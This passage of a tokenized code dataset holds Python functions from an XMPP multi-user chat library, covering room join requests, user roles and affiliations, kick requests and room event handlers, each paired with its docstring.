str(parameters.maxstanzas))<EOL><DEDENT>if parameters.maxseconds is not None:<EOL><INDENT>hnode.setProp(\"<STR_LIT>\", str(parameters.maxseconds))<EOL><DEDENT>if parameters.since is not None:<EOL><INDENT>hnode.setProp(\"<STR_LIT>\", parameters.since.strftime(\"<STR_LIT>\"))<EOL><DEDENT>", "docstring": "Set history parameters.\n\nTypes:\n    - `parameters`: `HistoryParameters`", "id": "f15255:c1:m1"}
{"signature": "def get_history(self):", "body": "for child in xml_element_iter(self.xmlnode.children):<EOL><INDENT>if get_node_ns_uri(child) == MUC_NS and child.name == \"<STR_LIT>\":<EOL><INDENT>maxchars = from_utf8(child.prop(\"<STR_LIT>\"))<EOL>if maxchars is not None:<EOL><INDENT>maxchars = int(maxchars)<EOL><DEDENT>maxstanzas = from_utf8(child.prop(\"<STR_LIT>\"))<EOL>if maxstanzas is not None:<EOL><INDENT>maxstanzas = int(maxstanzas)<EOL><DEDENT>maxseconds = from_utf8(child.prop(\"<STR_LIT>\"))<EOL>if maxseconds is not None:<EOL><INDENT>maxseconds = int(maxseconds)<EOL><DEDENT>since = None<EOL>return HistoryParameters(maxchars, maxstanzas, maxseconds, since)<EOL><DEDENT><DEDENT>", "docstring": "Return history parameters carried by the stanza.\n\n        :returntype: `HistoryParameters`", "id": "f15255:c1:m2"}
{"signature": "def set_password(self, password):", "body": "for child in xml_element_iter(self.xmlnode.children):<EOL><INDENT>if get_node_ns_uri(child) == MUC_NS and child.name == \"<STR_LIT:password>\":<EOL><INDENT>child.unlinkNode()<EOL>child.freeNode()<EOL>break<EOL><DEDENT><DEDENT>if password is not None:<EOL><INDENT>self.xmlnode.newTextChild(self.xmlnode.ns(), \"<STR_LIT:password>\", to_utf8(password))<EOL><DEDENT>", "docstring": "Set password for the MUC request.\n\n        :Parameters:\n            - `password`: password\n        :Types:\n            - `password`: `unicode`", "id": "f15255:c1:m3"}
{"signature": "def get_password(self):", "body": "for child in xml_element_iter(self.xmlnode.children):<EOL><INDENT>if get_node_ns_uri(child) == MUC_NS and child.name == \"<STR_LIT:password>\":<EOL><INDENT>return from_utf8(child.getContent())<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Get password from the MUC request.\n\n        :returntype: `unicode`", "id": "f15255:c1:m4"}
{"signature": "def __init__(self, maxchars = None, maxstanzas = None, maxseconds = None, since = None):", "body": "self.maxchars = maxchars<EOL>self.maxstanzas = maxstanzas<EOL>self.maxseconds = maxseconds<EOL>self.since = since<EOL>", "docstring": "Initializes a `HistoryParameters` object.\n\n        :Parameters:\n            - `maxchars`: limit of the total number of characters in history.\n            - `maxstanzas`: limit of the total number of messages in history.\n            - `maxseconds`: send only messages received in the last `seconds` seconds.\n            - `since`: Send only the messages received since the dateTime specified.\n        :Types:\n            - `maxchars`: `int`\n            - `maxstanzas`: `int`\n            - `maxseconds`: `int`\n            - `since`: `datetime.datetime`", "id": "f15255:c2:m0"}
{"signature": "def __init__(self,xmlnode_or_affiliation,role=None,jid=None,nick=None,actor=None,reason=None):", "body": "self.jid,self.nick,self.actor,self.affiliation,self.reason,self.role=(None,)*<NUM_LIT:6><EOL>MucItemBase.__init__(self)<EOL>if isinstance(xmlnode_or_affiliation,libxml2.xmlNode):<EOL><INDENT>self.__from_xmlnode(xmlnode_or_affiliation)<EOL><DEDENT>else:<EOL><INDENT>self.__init(xmlnode_or_affiliation,role,jid,nick,actor,reason)<EOL><DEDENT>", "docstring": "Initialize a `MucItem` object.\n\n:Parameters:\n    - `xmlnode_or_affiliation`: XML node to be pased or the affiliation of\n      the user being described.\n    - `role`: role of the user.\n    - `jid`: JID of the user.\n    - `nick`: nickname of the user.\n    - `actor`: actor modyfying the user data.\n    - `reason`: reason of change of the user data.\n:Types:\n    - `xmlnode_or_affiliation`: `libxml2.xmlNode` or `str`\n    - `role`: `str`\n    - `jid`: `JID`\n    - `nick`: `unicode`\n    - `actor`: `JID`\n    - `reason`: `unicode`", "id": "f15255:c4:m0"}
{"signature": "def __init(self,affiliation,role,jid=None,nick=None,actor=None,reason=None):", "body": "if not affiliation:<EOL><INDENT>affiliation=None<EOL><DEDENT>elif affiliation not in affiliations:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.affiliation=affiliation<EOL>if not role:<EOL><INDENT>role=None<EOL><DEDENT>elif role not in roles:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.role=role<EOL>if jid:<EOL><INDENT>self.jid=JID(jid)<EOL><DEDENT>else:<EOL><INDENT>self.jid=None<EOL><DEDENT>if actor:<EOL><INDENT>self.actor=JID(actor)<EOL><DEDENT>else:<EOL><INDENT>self.actor=None<EOL><DEDENT>self.nick=nick<EOL>self.reason=reason<EOL>", "docstring": "Initialize a `MucItem` object from a set of attributes.\n\n        :Parameters:\n            - `affiliation`: affiliation of the user.\n            - `role`: role of the user.\n            - `jid`: JID of the user.\n            - `nick`: nickname of the user.\n            - `actor`: actor modyfying the user data.\n            - `reason`: reason of change of the user data.\n        :Types:\n            - `affiliation`: `str`\n            - `role`: `str`\n            - `jid`: `JID`\n            - `nick`: `unicode`\n            - `actor`: `JID`\n            - `reason`: `unicode`", "id": "f15255:c4:m1"}
{"signature": "def __from_xmlnode(self, xmlnode):", "body": "actor=None<EOL>reason=None<EOL>n=xmlnode.children<EOL>while n:<EOL><INDENT>ns=n.ns()<EOL>if ns and ns.getContent()!=MUC_USER_NS:<EOL><INDENT>continue<EOL><DEDENT>if n.name==\"<STR_LIT>\":<EOL><INDENT>actor=n.getContent()<EOL><DEDENT>if n.name==\"<STR_LIT>\":<EOL><INDENT>reason=n.getContent()<EOL><DEDENT>n=n.next<EOL><DEDENT>self.__init(<EOL>from_utf8(xmlnode.prop(\"<STR_LIT>\")),<EOL>from_utf8(xmlnode.prop(\"<STR_LIT>\")),<EOL>from_utf8(xmlnode.prop(\"<STR_LIT>\")),<EOL>from_utf8(xmlnode.prop(\"<STR_LIT>\")),<EOL>from_utf8(actor),<EOL>from_utf8(reason),<EOL>)<EOL>", "docstring": "Initialize a `MucItem` object from an XML node.\n\n        :Parameters:\n            - `xmlnode`: the XML node.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`", "id": "f15255:c4:m2"}
{"signature": "def as_xml(self,parent):", "body": "n=parent.newChild(None,\"<STR_LIT>\",None)<EOL>if self.actor:<EOL><INDENT>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.actor))<EOL><DEDENT>if self.reason:<EOL><INDENT>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.reason))<EOL><DEDENT>n.setProp(\"<STR_LIT>\",to_utf8(self.affiliation))<EOL>if self.role:<EOL><INDENT>n.setProp(\"<STR_LIT>\",to_utf8(self.role))<EOL><DEDENT>if self.jid:<EOL><INDENT>n.setProp(\"<STR_LIT>\",to_utf8(self.jid.as_unicode()))<EOL><DEDENT>if self.nick:<EOL><INDENT>n.setProp(\"<STR_LIT>\",to_utf8(self.nick))<EOL><DEDENT>return n<EOL>", "docstring": "Create XML representation of `self`.\n\n:Parameters:\n    - `parent`: the element to which the created node should be linked to.\n:Types:\n    - `parent`: `libxml2.xmlNode`\n\n:return: an XML node.\n:returntype: `libxml2.xmlNode`", "id": "f15255:c4:m3"}
{"signature": "def __init__(self,xmlnode_or_code):", "body": "self.code=None<EOL>MucItemBase.__init__(self)<EOL>if isinstance(xmlnode_or_code,libxml2.xmlNode):<EOL><INDENT>self.__from_xmlnode(xmlnode_or_code)<EOL><DEDENT>else:<EOL><INDENT>self.__init(xmlnode_or_code)<EOL><DEDENT>", "docstring": "Initialize a `MucStatus` element.\n\n        :Parameters:\n            - `xmlnode_or_code`: XML node to parse or a status code.\n        :Types:\n            - `xmlnode_or_code`: `libxml2.xmlNode` or `int`", "id": "f15255:c5:m0"}
{"signature": "def __init(self,code):", "body": "code=int(code)<EOL>if code<<NUM_LIT:0> or code><NUM_LIT>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.code=code<EOL>", "docstring": "Initialize a `MucStatus` element from a status code.\n\n        :Parameters:\n            - `code`: the status code.\n        :Types:\n            - `code`: `int`", "id": "f15255:c5:m1"}
{"signature": "def __from_xmlnode(self, xmlnode):", "body": "self.code=int(xmlnode.prop(\"<STR_LIT:code>\"))<EOL>", "docstring": "Initialize a `MucStatus` element from an XML node.\n\n        :Parameters:\n            - `xmlnode`: XML node to parse.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`", "id": "f15255:c5:m2"}
{"signature": "def as_xml(self,parent):", "body": "n=parent.newChild(None,\"<STR_LIT:status>\",None)<EOL>n.setProp(\"<STR_LIT:code>\",\"<STR_LIT>\" % (self.code,))<EOL>return n<EOL>", "docstring": "Create XML representation of `self`.\n\n:Parameters:\n    - `parent`: the element to which the created node should be linked to.\n:Types:\n    - `parent`: `libxml2.xmlNode`\n\n:return: an XML node.\n:returntype: `libxml2.xmlNode`", "id": "f15255:c5:m3"}
{"signature": "def get_items(self):", "body": "if not self.xmlnode.children:<EOL><INDENT>return []<EOL><DEDENT>ret=[]<EOL>n=self.xmlnode.children<EOL>while n:<EOL><INDENT>ns=n.ns()<EOL>if ns and ns.getContent()!=self.ns:<EOL><INDENT>pass<EOL><DEDENT>elif n.name==\"<STR_LIT>\":<EOL><INDENT>ret.append(MucItem(n))<EOL><DEDENT>elif n.name==\"<STR_LIT:status>\":<EOL><INDENT>ret.append(MucStatus(n))<EOL><DEDENT>n=n.next<EOL><DEDENT>return ret<EOL>", "docstring": "Get a list of objects describing the content of `self`.\n\n        :return: the list of objects.\n        :returntype: `list` of `MucItemBase` (`MucItem` and/or `MucStatus`)", "id": "f15255:c6:m0"}
{"signature": "def clear(self):", "body": "if not self.xmlnode.children:<EOL><INDENT>return<EOL><DEDENT>n=self.xmlnode.children<EOL>while n:<EOL><INDENT>ns=n.ns()<EOL>if ns and ns.getContent()!=MUC_USER_NS:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>n.unlinkNode()<EOL>n.freeNode()<EOL><DEDENT>n=n.next<EOL><DEDENT>", "docstring": "Clear the content of `self.xmlnode` removing all <item/>, <status/>, etc.", "id": "f15255:c6:m1"}
{"signature": "def add_item(self,item):", "body": "if not isinstance(item,MucItemBase):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>item.as_xml(self.xmlnode)<EOL>", "docstring": "Add an item to `self`.\n\n        :Parameters:\n            - `item`: the item to add.\n        :Types:\n            - `item`: `MucItemBase`", "id": "f15255:c6:m2"}
{"signature": "def __init__(self):", "body": "if self.__class__ is MucStanzaExt:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>self.xmlnode=None<EOL>self.muc_child=None<EOL>", "docstring": "Initialize a `MucStanzaExt` derived object.", "id": "f15255:c9:m0"}
{"signature": "def get_muc_child(self):", "body": "if self.muc_child:<EOL><INDENT>return self.muc_child<EOL><DEDENT>if not self.xmlnode.children:<EOL><INDENT>return None<EOL><DEDENT>n=self.xmlnode.children<EOL>while n:<EOL><INDENT>if n.name not in (\"<STR_LIT:x>\",\"<STR_LIT>\"):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=n.ns()<EOL>if not ns:<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns_uri=ns.getContent()<EOL>if (n.name,ns_uri)==(\"<STR_LIT:x>\",MUC_NS):<EOL><INDENT>self.muc_child=MucX(n)<EOL>return self.muc_child<EOL><DEDENT>if (n.name,ns_uri)==(\"<STR_LIT:x>\",MUC_USER_NS):<EOL><INDENT>self.muc_child=MucUserX(n)<EOL>return self.muc_child<EOL><DEDENT>if (n.name,ns_uri)==(\"<STR_LIT>\",MUC_ADMIN_NS):<EOL><INDENT>self.muc_child=MucAdminQuery(n)<EOL>return self.muc_child<EOL><DEDENT>if (n.name,ns_uri)==(\"<STR_LIT>\",MUC_OWNER_NS):<EOL><INDENT>self.muc_child=MucOwnerX(n)<EOL>return self.muc_child<EOL><DEDENT>n=n.next<EOL><DEDENT>", "docstring": "Get the MUC specific payload element.\n\n:return: the object describing the stanza payload in MUC namespace.\n:returntype: `MucX` or `MucUserX` or `MucAdminQuery` or `MucOwnerX`", "id": "f15255:c9:m1"}
{"signature": "def clear_muc_child(self):", "body": "if self.muc_child:<EOL><INDENT>self.muc_child.free_borrowed()<EOL>self.muc_child=None<EOL><DEDENT>if not self.xmlnode.children:<EOL><INDENT>return<EOL><DEDENT>n=self.xmlnode.children<EOL>while n:<EOL><INDENT>if n.name not in (\"<STR_LIT:x>\",\"<STR_LIT>\"):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=n.ns()<EOL>if not ns:<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns_uri=ns.getContent()<EOL>if ns_uri in (MUC_NS,MUC_USER_NS,MUC_ADMIN_NS,MUC_OWNER_NS):<EOL><INDENT>n.unlinkNode()<EOL>n.freeNode()<EOL><DEDENT>n=n.next<EOL><DEDENT>", "docstring": "Remove the MUC specific stanza payload element.", "id": "f15255:c9:m2"}
{"signature": "def make_muc_userinfo(self):", "body": "self.clear_muc_child()<EOL>self.muc_child=MucUserX(parent=self.xmlnode)<EOL>return self.muc_child<EOL>", "docstring": "Create <x xmlns=\"...muc#user\"/> element in the stanza.\n\n:return: the element created.\n:returntype: `MucUserX`", "id": "f15255:c9:m3"}
{"signature": "def make_muc_admin_quey(self):", "body": "self.clear_muc_child()<EOL>self.muc_child=MucAdminQuery(parent=self.xmlnode)<EOL>return self.muc_child<EOL>", "docstring": "Create <query xmlns=\"...muc#admin\"/> element in the stanza.\n\n:return: the element created.\n:returntype: `MucAdminQuery`", "id": "f15255:c9:m4"}
{"signature": "def muc_free(self):", "body": "if self.muc_child:<EOL><INDENT>self.muc_child.free_borrowed()<EOL><DEDENT>", "docstring": "Free MUC specific data.", "id": "f15255:c9:m5"}
{"signature": "def __init__(self, xmlnode=None,from_jid=None,to_jid=None,stanza_type=None,stanza_id=None,<EOL>show=None,status=None,priority=<NUM_LIT:0>,error=None,error_cond=None):", "body": "MucStanzaExt.__init__(self)<EOL>Presence.__init__(self,xmlnode,from_jid=from_jid,to_jid=to_jid,<EOL>stanza_type=stanza_type,stanza_id=stanza_id,<EOL>show=show,status=status,priority=priority,<EOL>error=error,error_cond=error_cond)<EOL>", "docstring": "Initialize a `MucPresence` object.\n\n        :Parameters:\n            - `xmlnode`: XML node to_jid be wrapped into the `MucPresence` object\n              or other Presence object to be copied. If not given then new\n              presence stanza is created using following parameters.\n            - `from_jid`: sender JID.\n            - `to_jid`: recipient JID.\n            - `stanza_type`: staza type: one of: None, \"available\", \"unavailable\",\n              \"subscribe\", \"subscribed\", \"unsubscribe\", \"unsubscribed\" or\n              \"error\". \"available\" is automaticaly changed to_jid None.\n            - `stanza_id`: stanza id -- value of stanza's \"id\" attribute\n            - `show`: \"show\" field of presence stanza. One of: None, \"away\",\n              \"xa\", \"dnd\", \"chat\".\n            - `status`: descriptive text for the presence stanza.\n            - `priority`: presence priority.\n            - `error_cond`: error condition name. Ignored if `stanza_type` is not \"error\"\n        :Types:\n            - `xmlnode`: `unicode` or `libxml2.xmlNode` or `pyxmpp.stanza.Stanza`\n            - `from_jid`: `JID`\n            - `to_jid`: `JID`\n            - `stanza_type`: `unicode`\n            - `stanza_id`: `unicode`\n            - `show`: `unicode`\n            - `status`: `unicode`\n            - `priority`: `unicode`\n            - `error_cond`: `unicode`", "id": "f15255:c10:m0"}
{"signature": "def copy(self):", "body": "return MucPresence(self)<EOL>", "docstring": "Return a copy of `self`.", "id": "f15255:c10:m1"}
{"signature": "def make_join_request(self, password = None, history_maxchars = None,<EOL>history_maxstanzas = None, history_seconds = None,<EOL>history_since = None):", "body": "self.clear_muc_child()<EOL>self.muc_child=MucX(parent=self.xmlnode)<EOL>if (history_maxchars is not None or history_maxstanzas is not None<EOL>or history_seconds is not None or history_since is not None):<EOL><INDENT>history = HistoryParameters(history_maxchars, history_maxstanzas,<EOL>history_seconds, history_since)<EOL>self.muc_child.set_history(history)<EOL><DEDENT>if password is not None:<EOL><INDENT>self.muc_child.set_password(password)<EOL><DEDENT>", "docstring": "Make the presence stanza a MUC room join request.\n\n:Parameters:\n    - `password`: password to the room.\n    - `history_maxchars`: limit of the total number of characters in\n      history.\n    - `history_maxstanzas`: limit of the total number of messages in\n      history.\n    - `history_seconds`: send only messages received in the last\n      `seconds` seconds.\n    - `history_since`: Send only the messages received since the\n      dateTime specified (UTC).\n:Types:\n    - `password`: `unicode`\n    - `history_maxchars`: `int`\n    - `history_maxstanzas`: `int`\n    - `history_seconds`: `int`\n    - `history_since`: `datetime.datetime`", "id": "f15255:c10:m2"}
{"signature": "def get_join_info(self):", "body": "x=self.get_muc_child()<EOL>if not x:<EOL><INDENT>return None<EOL><DEDENT>if not isinstance(x,MucX):<EOL><INDENT>return None<EOL><DEDENT>return x<EOL>", "docstring": "If `self` is a MUC room join request return the information contained.\n\n        :return: the join request details or `None`.\n        :returntype: `MucX`", "id": "f15255:c10:m3"}
{"signature": "def free(self):", "body": "self.muc_free()<EOL>Presence.free(self)<EOL>", "docstring": "Free the data associated with this `MucPresence` object.", "id": "f15255:c10:m4"}
{"signature": "def __init__(self,xmlnode=None,from_jid=None,to_jid=None,stanza_type=None,stanza_id=None,<EOL>error=None,error_cond=None):", "body": "MucStanzaExt.__init__(self)<EOL>Iq.__init__(self,xmlnode,from_jid=from_jid,to_jid=to_jid,<EOL>stanza_type=stanza_type,stanza_id=stanza_id,<EOL>error=error,error_cond=error_cond)<EOL>", "docstring": "Initialize an `Iq` object.\n\n        :Parameters:\n            - `xmlnode`: XML node to_jid be wrapped into the `Iq` object\n              or other Iq object to be copied. If not given then new\n              presence stanza is created using following parameters.\n            - `from_jid`: sender JID.\n            - `to_jid`: recipient JID.\n            - `stanza_type`: staza type: one of: \"get\", \"set\", \"result\" or \"error\".\n            - `stanza_id`: stanza id -- value of stanza's \"id\" attribute. If not\n              given, then unique for the session value is generated.\n            - `error_cond`: error condition name. Ignored if `stanza_type` is not \"error\".\n        :Types:\n            - `xmlnode`: `unicode` or `libxml2.xmlNode` or `Iq`\n            - `from_jid`: `JID`\n            - `to_jid`: `JID`\n            - `stanza_type`: `unicode`\n            - `stanza_id`: `unicode`\n            - `error_cond`: `unicode`", "id": "f15255:c11:m0"}
{"signature": "def copy(self):", "body": "return MucIq(self)<EOL>", "docstring": "Return a copy of `self`.", "id": "f15255:c11:m1"}
{"signature": "def make_kick_request(self,nick,reason):", "body": "self.clear_muc_child()<EOL>self.muc_child=MucAdminQuery(parent=self.xmlnode)<EOL>item=MucItem(\"<STR_LIT:none>\",\"<STR_LIT:none>\",nick=nick,reason=reason)<EOL>self.muc_child.add_item(item)<EOL>return self.muc_child<EOL>", "docstring": "Make the iq stanza a MUC room participant kick request.\n\n:Parameters:\n    - `nick`: nickname of user to kick.\n    - `reason`: reason of the kick.\n:Types:\n    - `nick`: `unicode`\n    - `reason`: `unicode`\n\n:return: object describing the kick request details.\n:returntype: `MucItem`", "id": "f15255:c11:m2"}
{"signature": "def free(self):", "body": "self.muc_free()<EOL>Iq.free(self)<EOL>", "docstring": "Free the data associated with this `MucIq` object.", "id": "f15255:c11:m3"}
{"signature": "def __init__(self):", "body": "self.room_state=None<EOL>self.__logger=logging.getLogger(\"<STR_LIT>\")<EOL>", "docstring": "Initialize a `MucRoomHandler` object.", "id": "f15256:c0:m0"}
{"signature": "def assign_state(self,state_obj):", "body": "self.room_state=state_obj<EOL>", "docstring": "Assign a state object to this `MucRoomHandler` instance.\n\n        :Parameters:\n            - `state_obj`: the state object.\n        :Types:\n            - `state_obj`: `MucRoomState`", "id": "f15256:c0:m1"}
{"signature": "def room_created(self, stanza):", "body": "_unused = stanza<EOL>self.room_state.request_instant_room()<EOL>", "docstring": "Called when the room has been created.\n\nDefault action is to request an \"instant room\" by accepting the default\nconfiguration. Instead the application may want to request a\nconfiguration form and submit it.\n\n:Parameters:\n    - `stanza`: the stanza received.\n\n:Types:\n    - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15256:c0:m2"}
{"signature": "def configuration_form_received(self,form):", "body": "pass<EOL>", "docstring": "Called when a requested configuration form is received.\n\nThe form, after filling-in shoul be passed to `self.room_state.configure_room`.\n\n:Parameters:\n    - `form`: the configuration form.\n\n:Types:\n    - `form`: `pyxmpp.jabber.dataforms.Form`", "id": "f15256:c0:m3"}
{"signature": "def room_configured(self):", "body": "pass<EOL>", "docstring": "Called after a successfull room configuration.", "id": "f15256:c0:m4"}
{"signature": "def user_joined(self,user,stanza):", "body": "pass<EOL>", "docstring": "Called when a new participant joins the room.\n\n:Parameters:\n    - `user`: the user joining.\n    - `stanza`: the stanza received.\n\n:Types:\n    - `user`: `MucRoomUser`\n    - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15256:c0:m5"}
{"signature": "def user_left(self,user,stanza):", "body": "pass<EOL>", "docstring": "Called when a participant leaves the room.\n\n:Parameters:\n    - `user`: the user leaving.\n    - `stanza`: the stanza received.\n\n:Types:\n    - `user`: `MucRoomUser`\n    - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15256:c0:m6"}
{"signature": "def role_changed(self,user,old_role,new_role,stanza):", "body": "pass<EOL>", "docstring": "Called when a role of an user has been changed.\n\n:Parameters:\n    - `user`: the user (after update).\n    - `old_role`: user's role before update.\n    - `new_role`: user's role after update.\n    - `stanza`: the stanza received.\n\n:Types:\n    - `user`: `MucRoomUser`\n    - `old_role`: `unicode`\n    - `new_role`: `unicode`\n    - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15256:c0:m7"}
{"signature": "def affiliation_changed(self,user,old_aff,new_aff,stanza):", "body": "pass<EOL>", "docstring": "Called when a affiliation of an user has been changed.\n\n`user` MucRoomUser object describing the user (after update).\n`old_aff` is user's affiliation before update.\n`new_aff` is user's affiliation after update.\n`stanza` the stanza received.", "id": "f15256:c0:m8"}
{"signature": "def nick_change(self,user,new_nick,stanza):", "body": "pass<EOL>", "docstring": "Called when user nick change is started.\n\n:Parameters:\n    - `user`: the user (before update).\n    - `new_nick`: the new nick.\n    - `stanza`: the stanza received.\n\n:Types:\n    - `user`: `MucRoomUser`\n    - `new_nick`: `unicode`\n    - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15256:c0:m9"}
{"signature": "def nick_changed(self,user,old_nick,stanza):", "body": "pass<EOL>", "docstring": "Called after a user nick has been changed.\n\n:Parameters:\n    - `user`: the user (after update).\n    - `old_nick`: the old nick.\n    - `stanza`: the stanza received.\n\n:Types:\n    - `user`: `MucRoomUser`\n    - `old_nick`: `unicode`\n    - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15256:c0:m10"}
{"signature": "def presence_changed(self,user,stanza):", "body": "pass<EOL>", "docstring": "Called whenever user's presence changes (includes nick, role or\naffiliation changes).\n\n:Parameters:\n    - `user`: MucRoomUser object describing the user.\n    - `stanza`: the stanza received.\n\n:Types:\n    - `user`: `MucRoomUser`\n    - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15256:c0:m11"}
{"signature": "def subject_changed(self,user,stanza):", "body": "pass<EOL>", "docstring": "Called when the room subject has been changed.\n\n:Parameters:\n    - `user`: the user changing the subject.\n    - `stanza`: the stanza used to change the subject.\n\n:Types:\n    - `user`: `MucRoomUser`\n    - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15256:c0:m12"}
{"signature": "def message_received(self,user,stanza):", "body": "pass<EOL>", "docstring": "Called when groupchat message has been received.\n\n:Parameters:\n    - `user`: the sender.\n    - `stanza`: is the message stanza received.\n\n:Types:\n    - `user`: `MucRoomUser`\n    - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15256:c0:m13"}
{"signature": "def room_configuration_error(self,stanza):", "body": "self.error(stanza)<EOL>", "docstring": "Called when an error stanza is received in reply to a room\nconfiguration request.\n\nBy default `self.error` is called.\n\n:Parameters:\n    - `stanza`: the stanza received.\n:Types:\n    - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15256:c0:m14"}
{"signature": "def error(self,stanza):", "body": "err=stanza.get_error()<EOL>self.__logger.debug(\"<STR_LIT>\"<EOL>% (stanza.get_from(),err.get_condition))<EOL>", "docstring": "Called when an error stanza is received.\n\n:Parameters:\n    - `stanza`: the stanza received.\n:Types:\n    - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15256:c0:m15"}
{"signature": "def __init__(self,presence_or_user_or_jid):", "body": "if isinstance(presence_or_user_or_jid,MucRoomUser):<EOL><INDENT>self.presence=presence_or_user_or_jid.presence<EOL>self.role=presence_or_user_or_jid.role<EOL>self.affiliation=presence_or_user_or_jid.affiliation<EOL>self.room_jid=presence_or_user_or_jid.room_jid<EOL>self.real_jid=presence_or_user_or_jid.real_jid<EOL>self.nick=presence_or_user_or_jid.nick<EOL>self.new_nick=None<EOL><DEDENT>else:<EOL><INDENT>self.affiliation=\"<STR_LIT:none>\"<EOL>self.presence=None<EOL>self.real_jid=None<EOL>self.new_nick=None<EOL>if isinstance(presence_or_user_or_jid,JID):<EOL><INDENT>self.nick=presence_or_user_or_jid.resource<EOL>self.room_jid=presence_or_user_or_jid<EOL>self.role=\"<STR_LIT:none>\"<EOL><DEDENT>elif isinstance(presence_or_user_or_jid,Presence):<EOL><INDENT>self.nick=None<EOL>self.room_jid=None<EOL>self.role=\"<STR_LIT>\"<EOL>self.update_presence(presence_or_user_or_jid)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Initialize a `MucRoomUser` object.\n\n:Parameters:\n    - `presence_or_user_or_jid`: a MUC presence stanza with user\n      information, a user object to copy or a room JID of a user.\n:Types:\n    - `presence_or_user_or_jid`: `MucPresence` or `MucRoomUser` or\n      `JID`\n\nWhen `presence_or_user_or_jid` is a JID user's\nrole and affiliation are set to \"none\".", "id": "f15256:c1:m0"}
{"signature": "def update_presence(self,presence):", "body": "self.presence=MucPresence(presence)<EOL>t=presence.get_type()<EOL>if t==\"<STR_LIT>\":<EOL><INDENT>self.role=\"<STR_LIT:none>\"<EOL>self.affiliation=\"<STR_LIT:none>\"<EOL><DEDENT>self.room_jid=self.presence.get_from()<EOL>self.nick=self.room_jid.resource<EOL>mc=self.presence.get_muc_child()<EOL>if isinstance(mc,MucUserX):<EOL><INDENT>items=mc.get_items()<EOL>for item in items:<EOL><INDENT>if not isinstance(item,MucItem):<EOL><INDENT>continue<EOL><DEDENT>if item.role:<EOL><INDENT>self.role=item.role<EOL><DEDENT>if item.affiliation:<EOL><INDENT>self.affiliation=item.affiliation<EOL><DEDENT>if item.jid:<EOL><INDENT>self.real_jid=item.jid<EOL><DEDENT>if item.nick:<EOL><INDENT>self.new_nick=item.nick<EOL><DEDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Update user information.\n\n:Parameters:\n    - `presence`: a presence stanza with user information update.\n:Types:\n    - `presence`: `MucPresence`", "id": "f15256:c1:m1"}
{"signature": "def same_as(self,other):", "body": "return self.room_jid==other.room_jid<EOL>", "docstring": "Check if two `MucRoomUser` objects describe the same user in the\n        same room.\n\n        :Parameters:\n            - `other`: the user object to compare `self` with.\n        :Types:\n            - `other`: `MucRoomUser`\n\n        :return: `True` if the two object describe the same user.\n        :returntype: `bool`", "id": "f15256:c1:m2"}
{"signature": "def __init__(self,manager,own_jid,room_jid,handler):", "body": "self.own_jid=own_jid<EOL>self.room_jid=room_jid<EOL>self.handler=handler<EOL>self.manager=weakref.proxy(manager)<EOL>self.joined=False<EOL>self.subject=None<EOL>self.users={}<EOL>self.me=MucRoomUser(room_jid)<EOL>self.configured = None<EOL>self.configuration_form = None<EOL>handler.assign_state(self)<EOL>self.__logger=logging.getLogger(\"<STR_LIT>\")<EOL>", "docstring": "Initialize a `MucRoomState` object.\n\n:Parameters:\n    - `manager`: an object to manage this room.\n    - `own_jid`: real JID of the owner (client using this class).\n    - `room_jid`: room JID of the owner (provides the room name and\n      the nickname).\n    - `handler`: an object to handle room events.\n:Types:\n    - `manager`: `MucRoomManager`\n    - `own_jid`: JID\n    - `room_jid`: JID\n    - `handler`: `MucRoomHandler`", "id": "f15256:c2:m0"}
{"signature": "def get_user(self,nick_or_jid,create=False):", "body": "if isinstance(nick_or_jid,JID):<EOL><INDENT>if not nick_or_jid.resource:<EOL><INDENT>return None<EOL><DEDENT>for u in self.users.values():<EOL><INDENT>if nick_or_jid in (u.room_jid,u.real_jid):<EOL><INDENT>return u<EOL><DEDENT><DEDENT>if create:<EOL><INDENT>return MucRoomUser(nick_or_jid)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>return self.users.get(nick_or_jid)<EOL>", "docstring": "Get a room user with given nick or JID.\n\n:Parameters:\n    - `nick_or_jid`: the nickname or room JID of the user requested.\n    - `create`: if `True` and `nick_or_jid` is a JID, then a new\n      user object will be created if there is no such user in the room.\n:Types:\n    - `nick_or_jid`: `unicode` or `JID`\n    - `create`: `bool`\n\n:return: the named user or `None`\n:returntype: `MucRoomUser`", "id": "f15256:c2:m1"}
{"signature": "def set_stream(self,stream):", "body": "_unused = stream<EOL>if self.joined and self.handler:<EOL><INDENT>self.handler.user_left(self.me,None)<EOL><DEDENT>self.joined=False<EOL>", "docstring": "Called when current stream changes.\n\nMark the room not joined and inform `self.handler` that it was left.\n\n:Parameters:\n    - `stream`: the new stream.\n:Types:\n    - `stream`: `pyxmpp.stream.Stream`", "id": "f15256:c2:m2"}
